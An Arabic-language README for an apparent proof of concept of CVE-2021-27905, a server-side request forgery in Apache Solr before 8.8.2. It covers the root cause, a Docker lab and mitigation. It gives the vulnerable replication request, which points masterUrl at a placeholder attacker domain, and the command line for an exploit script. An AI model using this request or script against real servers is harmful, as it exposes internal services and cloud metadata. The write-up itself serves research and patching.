
Apache Solr < 8.8.2 تزوير الطلبات من جانب الخادم
| الرقم | العنوان |
|---|---|
| 1 | نظرة عامة |
| 2 | السبب الجذري |
| 3 | إثبات المفهوم |
| 4 | التخفيف (8.8.2+) |
| 5 | المراجع |
لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الكود على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لست مسؤولًا عن أي إساءة استخدام.
هذه ثغرة من نوع تزوير الطلبات من جانب الخادم (Server Side Request Forgery - SSRF) تؤثر على Apache Solr (الإصدارات الأقدم من 8.8.2)، وتتيح للمهاجمين عن بُعد إرسال طلبات HTTP تعسفية إلى أنظمة داخلية أو خارجية عبر معامل masterUrl في معالج النسخ المتماثل (replication handler)، مما قد يكشف الخدمات الداخلية أو بيانات وصفية حساسة في السحابة.
الإصدارات المتأثرة : جميع الإصدارات السابقة للإصدار 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
تتيح آلية النسخ المتماثل في Solr للنسخة «التابعة» (replica) جلب ملفات الفهرس من «الرئيسي/القائد» (master/leader) عبر تحديد معامل masterUrl أو leaderUrl. لا يتم التحقق من صحة العنوان المشار إليه عبر هذا المعامل بشكل صحيح في إصدارات Apache Solr المتأثرة. وبالتالي، قد تسمح للمهاجمين بجعل الخادم يتصل بمورد بعيد يختارونه.
مسار الثغرة
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
ReplicationHandler الخاص بـ Solr سيقوم بما يلي:
masterUrl المقدَّم لتنزيل بيانات الفهرس.إعداد المختبر
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
الاستغلال
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

تم تحديث ReplicationHandler في Solr ليقوم بما يلي:
masterUrl/leaderUrl لا يشيران إلا إلى مضيفين معتمدين.http، https فقط)./replication بالمصادقة أو إزالته بالكامل إذا لم يكن قيد الاستخدام.